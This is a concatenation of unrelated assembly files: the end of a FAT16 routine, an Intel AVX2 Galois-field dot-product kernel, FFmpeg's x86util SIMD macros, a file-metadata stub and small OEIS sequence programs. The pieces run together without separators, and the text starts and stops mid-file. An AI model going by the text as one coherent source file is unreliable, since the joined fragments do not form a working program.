[fat16_RootStart], eax mov bx, [fat16_RootDirEnts] shr ebx, 4 ; bx = (bx * 32) / 512 add ebx, eax ; BX now holds the datastart sector number mov [fat16_DataStart], ebx ret ; ============================================================================= ; EOF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Copyright(c) 2011-2015 Intel Corporation All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions ; are met: ; * Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; * Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in ; the documentation and/or other materials provided with the ; distribution. ; * Neither the name of Intel Corporation nor the names of its ; contributors may be used to endorse or promote products derived ; from this software without specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR ; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT ; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT ; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; ;;; gf_4vect_dot_prod_avx2(len, vec, *g_tbls, **buffs, **dests); ;;; %include "reg_sizes.asm" %ifidn __OUTPUT_FORMAT__, elf64 %define arg0 rdi %define arg1 rsi %define arg2 rdx %define arg3 rcx %define arg4 r8 %define arg5 r9 %define tmp r11 %define tmp.w r11d %define tmp.b r11b %define tmp2 r10 %define tmp3 r13 ; must be saved and restored %define tmp4 r12 ; must be saved and restored %define tmp5 r14 ; must be saved and restored %define tmp6 r15 ; must be saved and restored %define return rax %macro SLDR 2 %endmacro %define SSTR SLDR %define PS 8 %define LOG_PS 3 %define func(x) x: %macro FUNC_SAVE 0 push r12 push r13 push r14 push r15 %endmacro %macro FUNC_RESTORE 0 pop r15 pop r14 pop r13 pop r12 %endmacro %endif %ifidn __OUTPUT_FORMAT__, win64 %define arg0 rcx %define arg1 rdx %define arg2 r8 %define arg3 r9 %define arg4 r12 ; must be saved, loaded and restored %define arg5 r15 ; must be saved and restored %define tmp r11 %define tmp.w r11d %define tmp.b r11b %define tmp2 r10 %define tmp3 r13 ; must be saved and restored %define tmp4 r14 ; must be saved and restored %define tmp5 rdi ; must be saved and restored %define tmp6 rsi ; must be saved and restored %define return rax %macro SLDR 2 %endmacro %define SSTR SLDR %define PS 8 %define LOG_PS 3 %define stack_size 9*16 + 7*8 ; must be an odd multiple of 8 %define arg(x) [rsp + stack_size + PS + PS*x] %define func(x) proc_frame x %macro FUNC_SAVE 0 alloc_stack stack_size vmovdqa [rsp + 0*16], xmm6 vmovdqa [rsp + 1*16], xmm7 vmovdqa [rsp + 2*16], xmm8 vmovdqa [rsp + 3*16], xmm9 vmovdqa [rsp + 4*16], xmm10 vmovdqa [rsp + 5*16], xmm11 vmovdqa [rsp + 6*16], xmm12 vmovdqa [rsp + 7*16], xmm13 vmovdqa [rsp + 8*16], xmm14 save_reg r12, 9*16 + 0*8 save_reg r13, 9*16 + 1*8 save_reg r14, 9*16 + 2*8 save_reg r15, 9*16 + 3*8 save_reg rdi, 9*16 + 4*8 save_reg rsi, 9*16 + 5*8 end_prolog mov arg4, arg(4) %endmacro %macro FUNC_RESTORE 0 vmovdqa xmm6, [rsp + 0*16] vmovdqa xmm7, [rsp + 1*16] vmovdqa xmm8, [rsp + 2*16] vmovdqa xmm9, [rsp + 3*16] vmovdqa xmm10, [rsp + 4*16] vmovdqa xmm11, [rsp + 5*16] vmovdqa xmm12, [rsp + 6*16] vmovdqa xmm13, [rsp + 7*16] vmovdqa xmm14, [rsp + 8*16] mov r12, [rsp + 9*16 + 0*8] mov r13, [rsp + 9*16 + 1*8] mov r14, [rsp + 9*16 + 2*8] mov r15, [rsp + 9*16 + 3*8] mov rdi, [rsp + 9*16 + 4*8] mov rsi, [rsp + 9*16 + 5*8] add rsp, stack_size %endmacro %endif %ifidn __OUTPUT_FORMAT__, elf32 ;;;================== High Address; ;;; arg4 ;;; arg3 ;;; arg2 ;;; arg1 ;;; arg0 ;;; return ;;;<================= esp of caller ;;; ebp ;;;<================= ebp = esp ;;; var0 ;;; var1 ;;; var2 ;;; var3 ;;; esi ;;; edi ;;; ebx ;;;<================= esp of callee ;;; ;;;================== Low Address; %define PS 4 %define LOG_PS 2 %define func(x) x: %define arg(x) [ebp + PS*2 + PS*x] %define var(x) [ebp - PS - PS*x] %define trans ecx %define trans2 esi %define arg0 trans ;trans and trans2 are for the variables in stack %define arg0_m arg(0) %define arg1 ebx %define arg2 arg2_m %define arg2_m arg(2) %define arg3 trans %define arg3_m arg(3) %define arg4 trans %define arg4_m arg(4) %define arg5 trans2 %define tmp edx %define tmp.w edx %define tmp.b dl %define tmp2 edi %define tmp3 trans2 %define tmp3_m var(0) %define tmp4 trans2 %define tmp4_m var(1) %define tmp5 trans2 %define tmp5_m var(2) %define tmp6 trans2 %define tmp6_m var(3) %define return eax %macro SLDR 2 ;stack load/restore mov %1, %2 %endmacro %define SSTR SLDR %macro FUNC_SAVE 0 push ebp mov ebp, esp sub esp, PS*4 ;4 local variables push esi push edi push ebx mov arg1, arg(1) %endmacro %macro FUNC_RESTORE 0 pop ebx pop edi pop esi add esp, PS*4 ;4 local variables pop ebp %endmacro %endif ; output formats %define len arg0 %define vec arg1 %define mul_array arg2 %define src arg3 %define dest1 arg4 %define ptr arg5 %define vec_i tmp2 %define dest2 tmp3 %define dest3 tmp4 %define dest4 tmp5 %define vskip3 tmp6 %define pos return %ifidn PS,4 ;32-bit code %define len_m arg0_m %define src_m arg3_m %define dest1_m arg4_m %define dest2_m tmp3_m %define dest3_m tmp4_m %define dest4_m tmp5_m %define vskip3_m tmp6_m %endif %ifndef EC_ALIGNED_ADDR ;;; Use Un-aligned load/store %define XLDR vmovdqu %define XSTR vmovdqu %else ;;; Use Non-temporal load/stor %ifdef NO_NT_LDST %define XLDR vmovdqa %define XSTR vmovdqa %else %define XLDR vmovntdqa %define XSTR vmovntdq %endif %endif %ifidn PS,8 ;64-bit code default rel [bits 64] %endif section .text %ifidn PS,8 ;64-bit code %define xmask0f ymm14 %define xmask0fx xmm14 %define xgft1_lo ymm13 %define xgft1_hi ymm12 %define xgft2_lo ymm11 %define xgft2_hi ymm10 %define xgft3_lo ymm9 %define xgft3_hi ymm8 %define xgft4_lo ymm7 %define xgft4_hi ymm6 %define x0 ymm0 %define xtmpa ymm1 %define xp1 ymm2 %define xp2 ymm3 %define xp3 ymm4 %define xp4 ymm5 %else %define ymm_trans ymm7 ;reuse xmask0f and xgft1_hi %define xmask0f ymm_trans %define xmask0fx xmm7 %define xgft1_lo ymm6 %define xgft1_hi ymm_trans %define xgft2_lo xgft1_lo %define xgft2_hi xgft1_hi %define xgft3_lo xgft1_lo %define xgft3_hi xgft1_hi %define xgft4_lo xgft1_lo %define xgft4_hi xgft1_hi %define x0 ymm0 %define xtmpa ymm1 %define xp1 ymm2 %define xp2 ymm3 %define xp3 ymm4 %define xp4 ymm5 %endif align 16 mk_global gf_4vect_dot_prod_avx2, function func(gf_4vect_dot_prod_avx2) FUNC_SAVE SLDR len, len_m sub len, 32 SSTR len_m, len jl .return_fail xor pos, pos mov tmp.b, 0x0f vpinsrb xmask0fx, xmask0fx, tmp.w, 0 vpbroadcastb xmask0f, xmask0fx ;Construct mask 0x0f0f0f... mov vskip3, vec imul vskip3, 96 SSTR vskip3_m, vskip3 sal vec, LOG_PS ;vec *= PS. Make vec_i count by PS SLDR dest1, dest1_m mov dest2, [dest1+PS] SSTR dest2_m, dest2 mov dest3, [dest1+2*PS] SSTR dest3_m, dest3 mov dest4, [dest1+3*PS] SSTR dest4_m, dest4 mov dest1, [dest1] SSTR dest1_m, dest1 .loop32: vpxor xp1, xp1 vpxor xp2, xp2 vpxor xp3, xp3 vpxor xp4, xp4 mov tmp, mul_array xor vec_i, vec_i .next_vect: SLDR src, src_m mov ptr, [src+vec_i] XLDR x0, [ptr+pos] ;Get next source vector add vec_i, PS %ifidn PS,8 ;64-bit code vpand xgft4_lo, x0, xmask0f ;Mask low src nibble in bits 4-0 vpsraw x0, x0, 4 ;Shift to put high nibble into bits 4-0 vpand x0, x0, xmask0f ;Mask high src nibble in bits 4-0 vperm2i128 xtmpa, xgft4_lo, x0, 0x30 ;swap xtmpa from 1lo|2lo to 1lo|2hi vperm2i128 x0, xgft4_lo, x0, 0x12 ;swap x0 from 1hi|2hi to 1hi|2lo vmovdqu xgft1_lo, [tmp] ;Load array Ax{00}, Ax{01}, ..., Ax{0f} ; " Ax{00}, Ax{10}, ..., Ax{f0} vmovdqu xgft2_lo, [tmp+vec*(32/PS)] ;Load array Bx{00}, Bx{01}, ..., Bx{0f} ; " Bx{00}, Bx{10}, ..., Bx{f0} vmovdqu xgft3_lo, [tmp+vec*(64/PS)] ;Load array Cx{00}, Cx{01}, ..., Cx{0f} ; " Cx{00}, Cx{10}, ..., Cx{f0} vmovdqu xgft4_lo, [tmp+vskip3] ;Load array Dx{00}, Dx{01}, ..., Dx{0f} ; " Dx{00}, Dx{10}, ..., Dx{f0} vperm2i128 xgft1_hi, xgft1_lo, xgft1_lo, 0x01 ; swapped to hi | lo vperm2i128 xgft2_hi, xgft2_lo, xgft2_lo, 0x01 ; swapped to hi | lo vperm2i128 xgft3_hi, xgft3_lo, xgft3_lo, 0x01 ; swapped to hi | lo vperm2i128 xgft4_hi, xgft4_lo, xgft4_lo, 0x01 ; swapped to hi | lo add tmp, 32 %else ;32-bit code mov cl, 0x0f ;use ecx as a temp variable vpinsrb xmask0fx, xmask0fx, ecx, 0 vpbroadcastb xmask0f, xmask0fx ;Construct mask 0x0f0f0f... vpand xgft4_lo, x0, xmask0f ;Mask low src nibble in bits 4-0 vpsraw x0, x0, 4 ;Shift to put high nibble into bits 4-0 vpand x0, x0, xmask0f ;Mask high src nibble in bits 4-0 vperm2i128 xtmpa, xgft4_lo, x0, 0x30 ;swap xtmpa from 1lo|2lo to 1lo|2hi vperm2i128 x0, xgft4_lo, x0, 0x12 ;swap x0 from 1hi|2hi to 1hi|2lo vmovdqu xgft1_lo, [tmp] ;Load array Ax{00}, Ax{01}, ..., Ax{0f} ; " Ax{00}, Ax{10}, ..., Ax{f0} vperm2i128 xgft1_hi, xgft1_lo, xgft1_lo, 0x01 ; swapped to hi | lo %endif vpshufb xgft1_hi, x0 ;Lookup mul table of high nibble vpshufb xgft1_lo, xtmpa ;Lookup mul table of low nibble vpxor xgft1_hi, xgft1_lo ;GF add high and low partials vpxor xp1, xgft1_hi ;xp1 += partial %ifidn PS,4 ; 32-bit code vmovdqu xgft2_lo, [tmp+vec*(32/PS)] ;Load array Bx{00}, Bx{01}, ..., Bx{0f} ; " Bx{00}, Bx{10}, ..., Bx{f0} vperm2i128 xgft2_hi, xgft2_lo, xgft2_lo, 0x01 ; swapped to hi | lo %endif vpshufb xgft2_hi, x0 ;Lookup mul table of high nibble vpshufb xgft2_lo, xtmpa ;Lookup mul table of low nibble vpxor xgft2_hi, xgft2_lo ;GF add high and low partials vpxor xp2, xgft2_hi ;xp2 += partial %ifidn PS,4 ; 32-bit code sal vec, 1 vmovdqu xgft3_lo, [tmp+vec*(32/PS)] ;Load array Cx{00}, Cx{01}, ..., Cx{0f} ; " Cx{00}, Cx{10}, ..., Cx{f0} vperm2i128 xgft3_hi, xgft3_lo, xgft3_lo, 0x01 ; swapped to hi | lo sar vec, 1 %endif vpshufb xgft3_hi, x0 ;Lookup mul table of high nibble vpshufb xgft3_lo, xtmpa ;Lookup mul table of low nibble vpxor xgft3_hi, xgft3_lo ;GF add high and low partials vpxor xp3, xgft3_hi ;xp3 += partial %ifidn PS,4 ; 32-bit code SLDR vskip3, vskip3_m vmovdqu xgft4_lo, [tmp+vskip3] ;Load array Dx{00}, Dx{01}, ..., Dx{0f} ; " DX{00}, Dx{10}, ..., Dx{f0} vperm2i128 xgft4_hi, xgft4_lo, xgft4_lo, 0x01 ; swapped to hi | lo add tmp, 32 %endif vpshufb xgft4_hi, x0 ;Lookup mul table of high nibble vpshufb xgft4_lo, xtmpa ;Lookup mul table of low nibble vpxor xgft4_hi, xgft4_lo ;GF add high and low partials vpxor xp4, xgft4_hi ;xp4 += partial cmp vec_i, vec jl .next_vect SLDR dest1, dest1_m SLDR dest2, dest2_m XSTR [dest1+pos], xp1 XSTR [dest2+pos], xp2 SLDR dest3, dest3_m XSTR [dest3+pos], xp3 SLDR dest4, dest4_m XSTR [dest4+pos], xp4 SLDR len, len_m add pos, 32 ;Loop on 32 bytes at a time cmp pos, len jle .loop32 lea tmp, [len + 32] cmp pos, tmp je .return_pass ;; Tail len mov pos, len ;Overlapped offset length-32 jmp .loop32 ;Do one more overlap pass .return_pass: mov return, 0 FUNC_RESTORE ret .return_fail: mov return, 1 FUNC_RESTORE ret endproc_frame section .data ;;; func core, ver, snum slversion gf_4vect_dot_prod_avx2, 04, 05, 0198
;***************************************************************************** ;* x86util.asm ;***************************************************************************** ;* Copyright (C) 2008-2010 x264 project ;* ;* Authors: Loren Merritt <lorenm@u.washington.edu> ;* Holger Lubitz <holger@lubitz.org> ;* ;* This file is part of FFmpeg. ;* ;* FFmpeg is free software; you can redistribute it and/or ;* modify it under the terms of the GNU Lesser General Public ;* License as published by the Free Software Foundation; either ;* version 2.1 of the License, or (at your option) any later version. ;* ;* FFmpeg is distributed in the hope that it will be useful, ;* but WITHOUT ANY WARRANTY; without even the implied warranty of ;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ;* Lesser General Public License for more details. ;* ;* You should have received a copy of the GNU Lesser General Public ;* License along with FFmpeg; if not, write to the Free Software ;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ;****************************************************************************** %macro SBUTTERFLY 4 %if avx_enabled == 0 mova m%4, m%2 punpckl%1 m%2, m%3 punpckh%1 m%4, m%3 %else punpckh%1 m%4, m%2, m%3 punpckl%1 m%2, m%3 %endif SWAP %3, %4 %endmacro %macro SBUTTERFLY2 4 punpckl%1 m%4, m%2, m%3 punpckh%1 m%2, m%2, m%3 SWAP %2, %4, %3 %endmacro %macro SBUTTERFLYPS 3 unpcklps m%3, m%1, m%2 unpckhps m%1, m%1, m%2 SWAP %1, %3, %2 %endmacro %macro TRANSPOSE4x4B 5 SBUTTERFLY bw, %1, %2, %5 SBUTTERFLY bw, %3, %4, %5 SBUTTERFLY wd, %1, %3, %5 SBUTTERFLY wd, %2, %4, %5 SWAP %2, %3 %endmacro %macro TRANSPOSE4x4W 5 SBUTTERFLY wd, %1, %2, %5 SBUTTERFLY wd, %3, %4, %5 SBUTTERFLY dq, %1, %3, %5 SBUTTERFLY dq, %2, %4, %5 SWAP %2, %3 %endmacro %macro TRANSPOSE2x4x4W 5 SBUTTERFLY wd, %1, %2, %5 SBUTTERFLY wd, %3, %4, %5 SBUTTERFLY dq, %1, %3, %5 SBUTTERFLY dq, %2, %4, %5 SBUTTERFLY qdq, %1, %2, %5 SBUTTERFLY qdq, %3, %4, %5 %endmacro %macro TRANSPOSE4x4D 5 SBUTTERFLY dq, %1, %2, %5 SBUTTERFLY dq, %3, %4, %5 SBUTTERFLY qdq, %1, %3, %5 SBUTTERFLY qdq, %2, %4, %5 SWAP %2, %3 %endmacro ; identical behavior to TRANSPOSE4x4D, but using SSE1 float ops %macro TRANSPOSE4x4PS 5 SBUTTERFLYPS %1, %2, %5 SBUTTERFLYPS %3, %4, %5 movaps m%5, m%1 movlhps m%1, m%3 movhlps m%3, m%5 movaps m%5, m%2 movlhps m%2, m%4 movhlps m%4, m%5 SWAP %2, %3 %endmacro %macro TRANSPOSE8x8W 9-11 %if ARCH_X86_64 SBUTTERFLY wd, %1, %2, %9 SBUTTERFLY wd, %3, %4, %9 SBUTTERFLY wd, %5, %6, %9 SBUTTERFLY wd, %7, %8, %9 SBUTTERFLY dq, %1, %3, %9 SBUTTERFLY dq, %2, %4, %9 SBUTTERFLY dq, %5, %7, %9 SBUTTERFLY dq, %6, %8, %9 SBUTTERFLY qdq, %1, %5, %9 SBUTTERFLY qdq, %2, %6, %9 SBUTTERFLY qdq, %3, %7, %9 SBUTTERFLY qdq, %4, %8, %9 SWAP %2, %5 SWAP %4, %7 %else ; in: m0..m7, unless %11 in which case m6 is in %9 ; out: m0..m7, unless %11 in which case m4 is in %10 ; spills into %9 and %10 %if %0<11 movdqa %9, m%7 %endif SBUTTERFLY wd, %1, %2, %7 movdqa %10, m%2 movdqa m%7, %9 SBUTTERFLY wd, %3, %4, %2 SBUTTERFLY wd, %5, %6, %2 SBUTTERFLY wd, %7, %8, %2 SBUTTERFLY dq, %1, %3, %2 movdqa %9, m%3 movdqa m%2, %10 SBUTTERFLY dq, %2, %4, %3 SBUTTERFLY dq, %5, %7, %3 SBUTTERFLY dq, %6, %8, %3 SBUTTERFLY qdq, %1, %5, %3 SBUTTERFLY qdq, %2, %6, %3 movdqa %10, m%2 movdqa m%3, %9 SBUTTERFLY qdq, %3, %7, %2 SBUTTERFLY qdq, %4, %8, %2 SWAP %2, %5 SWAP %4, %7 %if %0<11 movdqa m%5, %10 %endif %endif %endmacro ; PABSW macros assume %1 != %2, while ABS1/2 macros work in-place %macro PABSW_MMX 2 pxor %1, %1 pcmpgtw %1, %2 pxor %2, %1 psubw %2, %1 SWAP %1, %2 %endmacro %macro PSIGNW_MMX 2 pxor %1, %2 psubw %1, %2 %endmacro %macro PABSW_MMX2 2 pxor %1, %1 psubw %1, %2 pmaxsw %1, %2 %endmacro %macro PABSW_SSSE3 2 pabsw %1, %2 %endmacro %macro PSIGNW_SSSE3 2 psignw %1, %2 %endmacro %macro ABS1_MMX 2 ; a, tmp pxor %2, %2 pcmpgtw %2, %1 pxor %1, %2 psubw %1, %2 %endmacro %macro ABS2_MMX 4 ; a, b, tmp0, tmp1 pxor %3, %3 pxor %4, %4 pcmpgtw %3, %1 pcmpgtw %4, %2 pxor %1, %3 pxor %2, %4 psubw %1, %3 psubw %2, %4 %endmacro %macro ABS1_MMX2 2 ; a, tmp pxor %2, %2 psubw %2, %1 pmaxsw %1, %2 %endmacro %macro ABS2_MMX2 4 ; a, b, tmp0, tmp1 pxor %3, %3 pxor %4, %4 psubw %3, %1 psubw %4, %2 pmaxsw %1, %3 pmaxsw %2, %4 %endmacro %macro ABS1_SSSE3 2 pabsw %1, %1 %endmacro %macro ABS2_SSSE3 4 pabsw %1, %1 pabsw %2, %2 %endmacro %macro ABSB_MMX 2 pxor %2, %2 psubb %2, %1 pminub %1, %2 %endmacro %macro ABSB2_MMX 4 pxor %3, %3 pxor %4, %4 psubb %3, %1 psubb %4, %2 pminub %1, %3 pminub %2, %4 %endmacro %macro ABSD2_MMX 4 pxor %3, %3 pxor %4, %4 pcmpgtd %3, %1 pcmpgtd %4, %2 pxor %1, %3 pxor %2, %4 psubd %1, %3 psubd %2, %4 %endmacro %macro ABSB_SSSE3 2 pabsb %1, %1 %endmacro %macro ABSB2_SSSE3 4 pabsb %1, %1 pabsb %2, %2 %endmacro %macro ABS4 6 ABS2 %1, %2, %5, %6 ABS2 %3, %4, %5, %6 %endmacro %define ABS1 ABS1_MMX %define ABS2 ABS2_MMX %define ABSB ABSB_MMX %define ABSB2 ABSB2_MMX %macro SPLATB_MMX 3 movd %1, [%2-3] ;to avoid crossing a cacheline punpcklbw %1, %1 SPLATW %1, %1, 3 %endmacro %macro SPLATB_SSSE3 3 movd %1, [%2-3] pshufb %1, %3 %endmacro %macro PALIGNR_MMX 4-5 ; [dst,] src1, src2, imm, tmp %define %%dst %1 %if %0==5 %ifnidn %1, %2 mova %%dst, %2 %endif %rotate 1 %endif %ifnidn %4, %2 mova %4, %2 %endif %if mmsize==8 psllq %%dst, (8-%3)*8 psrlq %4, %3*8 %else pslldq %%dst, 16-%3 psrldq %4, %3 %endif por %%dst, %4 %endmacro %macro PALIGNR_SSSE3 4-5 %if %0==5 palignr %1, %2, %3, %4 %else palignr %1, %2, %3 %endif %endmacro %macro DEINTB 5 ; mask, reg1, mask, reg2, optional src to fill masks from %ifnum %5 pand m%3, m%5, m%4 ; src .. y6 .. y4 pand m%1, m%5, m%2 ; dst .. y6 .. y4 %else mova m%1, %5 pand m%3, m%1, m%4 ; src .. y6 .. y4 pand m%1, m%1, m%2 ; dst .. y6 .. y4 %endif psrlw m%2, 8 ; dst .. y7 .. y5 psrlw m%4, 8 ; src .. y7 .. y5 %endmacro %macro SUMSUB_BA 3-4 %if %0==3 padd%1 m%2, m%3 padd%1 m%3, m%3 psub%1 m%3, m%2 %else %if avx_enabled == 0 mova m%4, m%2 padd%1 m%2, m%3 psub%1 m%3, m%4 %else padd%1 m%4, m%2, m%3 psub%1 m%3, m%2 SWAP %2, %4 %endif %endif %endmacro %macro SUMSUB_BADC 5-6 %if %0==6 SUMSUB_BA %1, %2, %3, %6 SUMSUB_BA %1, %4, %5, %6 %else padd%1 m%2, m%3 padd%1 m%4, m%5 padd%1 m%3, m%3 padd%1 m%5, m%5 psub%1 m%3, m%2 psub%1 m%5, m%4 %endif %endmacro %macro SUMSUB2_AB 4 %ifnum %3 psub%1 m%4, m%2, m%3 psub%1 m%4, m%3 padd%1 m%2, m%2 padd%1 m%2, m%3 %else mova m%4, m%2 padd%1 m%2, m%2 padd%1 m%2, %3 psub%1 m%4, %3 psub%1 m%4, %3 %endif %endmacro %macro SUMSUB2_BA 4 %if avx_enabled == 0 mova m%4, m%2 padd%1 m%2, m%3 padd%1 m%2, m%3 psub%1 m%3, m%4 psub%1 m%3, m%4 %else padd%1 m%4, m%2, m%3 padd%1 m%4, m%3 psub%1 m%3, m%2 psub%1 m%3, m%2 SWAP %2, %4 %endif %endmacro %macro SUMSUBD2_AB 5 %ifnum %4 psra%1 m%5, m%2, 1 ; %3: %3>>1 psra%1 m%4, m%3, 1 ; %2: %2>>1 padd%1 m%4, m%2 ; %3: %3>>1+%2 psub%1 m%5, m%3 ; %2: %2>>1-%3 SWAP %2, %5 SWAP %3, %4 %else mova %5, m%2 mova %4, m%3 psra%1 m%3, 1 ; %3: %3>>1 psra%1 m%2, 1 ; %2: %2>>1 padd%1 m%3, %5 ; %3: %3>>1+%2 psub%1 m%2, %4 ; %2: %2>>1-%3 %endif %endmacro %macro DCT4_1D 5 %ifnum %5 SUMSUB_BADC w, %4, %1, %3, %2, %5 SUMSUB_BA w, %3, %4, %5 SUMSUB2_AB w, %1, %2, %5 SWAP %1, %3, %4, %5, %2 %else SUMSUB_BADC w, %4, %1, %3, %2 SUMSUB_BA w, %3, %4 mova [%5], m%2 SUMSUB2_AB w, %1, [%5], %2 SWAP %1, %3, %4, %2 %endif %endmacro %macro IDCT4_1D 6-7 %ifnum %6 SUMSUBD2_AB %1, %3, %5, %7, %6 ; %3: %3>>1-%5 %5: %3+%5>>1 SUMSUB_BA %1, %4, %2, %7 ; %4: %2+%4 %2: %2-%4 SUMSUB_BADC %1, %5, %4, %3, %2, %7 ; %5: %2+%4 + (%3+%5>>1) ; %4: %2+%4 - (%3+%5>>1) ; %3: %2-%4 + (%3>>1-%5) ; %2: %2-%4 - (%3>>1-%5) %else %ifidn %1, w SUMSUBD2_AB %1, %3, %5, [%6], [%6+16] %else SUMSUBD2_AB %1, %3, %5, [%6], [%6+32] %endif SUMSUB_BA %1, %4, %2 SUMSUB_BADC %1, %5, %4, %3, %2 %endif SWAP %2, %5, %4 ; %2: %2+%4 + (%3+%5>>1) row0 ; %3: %2-%4 + (%3>>1-%5) row1 ; %4: %2-%4 - (%3>>1-%5) row2 ; %5: %2+%4 - (%3+%5>>1) row3 %endmacro %macro LOAD_DIFF 5 %ifidn %3, none movh %1, %4 movh %2, %5 punpcklbw %1, %2 punpcklbw %2, %2 psubw %1, %2 %else movh %1, %4 punpcklbw %1, %3 movh %2, %5 punpcklbw %2, %3 psubw %1, %2 %endif %endmacro %macro STORE_DCT 6 movq [%5+%6+ 0], m%1 movq [%5+%6+ 8], m%2 movq [%5+%6+16], m%3 movq [%5+%6+24], m%4 movhps [%5+%6+32], m%1 movhps [%5+%6+40], m%2 movhps [%5+%6+48], m%3 movhps [%5+%6+56], m%4 %endmacro %macro LOAD_DIFF_8x4P 7-10 r0,r2,0 ; 4x dest, 2x temp, 2x pointer, increment? LOAD_DIFF m%1, m%5, m%7, [%8], [%9] LOAD_DIFF m%2, m%6, m%7, [%8+r1], [%9+r3] LOAD_DIFF m%3, m%5, m%7, [%8+2*r1], [%9+2*r3] LOAD_DIFF m%4, m%6, m%7, [%8+r4], [%9+r5] %if %10 lea %8, [%8+4*r1] lea %9, [%9+4*r3] %endif %endmacro %macro DIFFx2 6-7 movh %3, %5 punpcklbw %3, %4 psraw %1, 6 paddsw %1, %3 movh %3, %6 punpcklbw %3, %4 psraw %2, 6 paddsw %2, %3 packuswb %2, %1 %endmacro %macro STORE_DIFF 4 movh %2, %4 punpcklbw %2, %3 psraw %1, 6 paddsw %1, %2 packuswb %1, %1 movh %4, %1 %endmacro %macro STORE_DIFFx2 8 ; add1, add2, reg1, reg2, zero, shift, source, stride movh %3, [%7] movh %4, [%7+%8] psraw %1, %6 psraw %2, %6 punpcklbw %3, %5 punpcklbw %4, %5 paddw %3, %1 paddw %4, %2 packuswb %3, %5 packuswb %4, %5 movh [%7], %3 movh [%7+%8], %4 %endmacro %macro PMINUB_MMX 3 ; dst, src, tmp mova %3, %1 psubusb %3, %2 psubb %1, %3 %endmacro %macro PMINUB_MMXEXT 3 ; dst, src, ignored pminub %1, %2 %endmacro %macro SPLATW 2-3 0 %if mmsize == 16 pshuflw %1, %2, (%3)*0x55 punpcklqdq %1, %1 %else pshufw %1, %2, (%3)*0x55 %endif %endmacro %macro SPLATD 2-3 0 %if mmsize == 16 pshufd %1, %2, (%3)*0x55 %else pshufw %1, %2, (%3)*0x11 + ((%3)+1)*0x44 %endif %endmacro %macro SPLATD_MMX 1 punpckldq %1, %1 %endmacro %macro SPLATD_SSE 1 shufps %1, %1, 0 %endmacro %macro SPLATD_SSE2 1 pshufd %1, %1, 0 %endmacro %macro CLIPW 3 ;(dst, min, max) pmaxsw %1, %2 pminsw %1, %3 %endmacro %macro PMINSD_MMX 3 ; dst, src, tmp mova %3, %2 pcmpgtd %3, %1 pxor %1, %2 pand %1, %3 pxor %1, %2 %endmacro %macro PMAXSD_MMX 3 ; dst, src, tmp mova %3, %1 pcmpgtd %3, %2 pand %1, %3 pandn %3, %2 por %1, %3 %endmacro %macro CLIPD_MMX 3-4 ; src/dst, min, max, tmp PMINSD_MMX %1, %3, %4 PMAXSD_MMX %1, %2, %4 %endmacro %macro CLIPD_SSE2 3-4 ; src/dst, min (float), max (float), unused cvtdq2ps %1, %1 minps %1, %3 maxps %1, %2 cvtps2dq %1, %1 %endmacro %macro CLIPD_SSE41 3-4 ; src/dst, min, max, unused pminsd %1, %3 pmaxsd %1, %2 %endmacro %macro VBROADCASTSS 2 ; dst xmm/ymm, src m32 %if cpuflag(avx) vbroadcastss %1, %2 %else ; sse movss %1, %2 shufps %1, %1, 0 %endif %endmacro
Name: edit_3.asm Type: file Size: 44859 Last-Modified: '1992-02-13T07:47:51Z' SHA-1: FDD8129F7630991B386AC3DC10F11481FB9E3FCB Description: null
; A198853: a(n) = 5*8^n - 1. ; 4,39,319,2559,20479,163839,1310719,10485759,83886079,671088639,5368709119,42949672959,343597383679,2748779069439,21990232555519,175921860444159,1407374883553279,11258999068426239,90071992547409919,720575940379279359,5764607523034234879,46116860184273879039,368934881474191032319,2951479051793528258559,23611832414348226068479,188894659314785808547839,1511157274518286468382719,12089258196146291747061759,96714065569170333976494079,773712524553362671811952639,6189700196426901374495621119,49517601571415210995964968959,396140812571321687967719751679,3169126500570573503741758013439,25353012004564588029934064107519,202824096036516704239472512860159,1622592768292133633915780102881279,12980742146337069071326240823050239,103845937170696552570609926584401919,830767497365572420564879412675215359 mov $1,8 pow $1,$0 mul $1,5 sub $1,1 mov $0,$1
; A001855: Sorting numbers: maximal number of comparisons for sorting n elements by binary insertion. ; 0,1,3,5,8,11,14,17,21,25,29,33,37,41,45,49,54,59,64,69,74,79,84,89,94,99,104,109,114,119,124,129,135,141,147,153,159,165,171,177,183,189,195,201,207,213,219,225,231,237,243,249,255,261,267,273,279,285,291,297,303,309,315,321,328,335,342,349,356,363,370,377,384,391,398,405,412,419,426,433,440,447,454,461,468,475,482,489,496,503,510,517,524,531,538,545,552,559,566,573,580,587,594,601,608,615,622,629,636,643,650,657,664,671,678,685,692,699,706,713,720,727,734,741,748,755,762,769,777,785,793,801,809,817,825,833,841,849,857,865,873,881,889,897,905,913,921,929,937,945,953,961,969,977,985,993,1001,1009,1017,1025,1033,1041,1049,1057,1065,1073,1081,1089,1097,1105,1113,1121,1129,1137,1145,1153,1161,1169,1177,1185,1193,1201,1209,1217,1225,1233,1241,1249,1257,